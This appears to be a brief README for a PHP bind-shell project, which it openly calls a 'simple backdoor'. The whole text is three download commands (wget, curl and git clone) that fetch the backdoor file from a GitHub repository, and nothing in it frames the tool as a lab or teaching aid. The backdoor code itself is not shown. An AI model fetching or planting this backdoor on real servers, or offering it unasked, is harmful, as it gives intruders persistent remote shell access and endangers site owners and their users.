This is a simple backdoor written in PHP. You can easely download it by using :
wget https://raw.githubusercontent.com/NullBrunk/PhpBindShell/main/PhpBindShell.php curl -so PhpBindShell.php https://raw.githubusercontent.com/NullBrunk/PhpBindShell/main/PhpBindShell.php git clone https://github.com/NullBrunk/PhpBindShell.git && mv PhpBindShell/PhpBindShell.php ./ && rm -rf PhpBindShell